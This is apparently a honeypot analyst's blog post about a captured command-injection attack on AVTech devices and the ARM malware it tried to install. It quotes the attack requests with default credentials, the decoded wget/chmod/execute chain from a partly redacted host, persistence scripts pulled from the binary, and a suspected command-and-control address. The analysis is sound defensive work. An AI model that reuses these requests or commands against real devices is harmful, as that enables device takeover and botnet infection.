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My Suricata IDS triggered on an HTTP request to my honeypot this morning:

ET WEB_SERVER Suspicious Chmod Usage in URI

 

Further investigation revealed this incoming request:

 POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1
 Host: [redacted]
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.13.0
 Content-Length: 0
 Authorization: Basic YWRtaW46YWRtaW4=

 

The request seems to take advantage of a vulnerability in AVTech devices, described here, here and here (and elsewhere).

URL decoding the query string yields the following commands (formatted for readability, and URL redacted to avoid accidental downloads):

wget -O /tmp/Arm1 http://172.247.x.y:85/Arm1
chmod 0777 /tmp/Arm1
/tmp/Arm1

 

In other words, the request will trick the targeted device into downloading a file, changing the file’s permissions, and excute it locally. The Arm1 file identifies as follows:

Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped

 

The IP address performing the request, 137.59.18.190, belongs to a company in Hong Kong (but registered with Korea Telecom). The IP from which the binary is downloaded, 172.247.116.21, seems to belong to a U.S. cloud provider. At the time of writing, no antivirus provider used by VirusTotal knows anything about the URL or the downloaded file, and the anlyz malware analysis sandbox finds nothing wrong with it. However, judging from the nature of the request I think it’s safe to assume that this is most likely malicious, possibly another Mirai strain or something equivalent.

This blog post will be updated with more details. A full packet capture is available, but since the request only reached my honeypot it won’t be very useful.

 

Update #1: An additional request

I’ve seen additional requests, trying to download the same file but probably through a different vulnerability. This is the request – a GET instead of the previous POST:

GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.a.b:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1

 

For this request, the requesting IP (137.59.19.132) is registered to the same Hong Kong company and the IP hosting the ARM binary (172.247.116.3) belongs to the same U.S. cloud provider.

 

Update #2: The binary’s content

The ARM binary seems to include some kind of proxy which seems to be named “wake”, including wrapper scripts. Using strings(1), the script excerpts below are found from the binary:

#!/bin/sh
 while true;do
 server=`netstat -nlp | grep :39999`
 if [ ${#server} -eq 0 ] ; then
 nohup %s -c 1 &
sleep 5
done

 

and

#!/bin/sh
### BEGIN INIT INFO
# Provides: wake
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
case "$1" in
 start)
 nohup /usr/bin/wake -c 1 &
 ;;
 stop)
 ;;
esac

 

Judging from the scripts, the “wake” proxy listens on port 39999. The IP address 192.154.108.2 (GorillaServers, Inc., US) is also seen in the binary.

 

Update #3: Other observations

Some IPs in the same ranges as well as similar download URLs are reported as seen in other peoples’ honeypots as well, along with the ARM binary’s hashes.

 

Update #4: detux

Among other things, analyzing the binary in detux confirms the mentioned IP address, finding it will connect to 192.154.108.2:77. The IP and socket are available and listening but gives no sensible response. Best guess: Command and control station.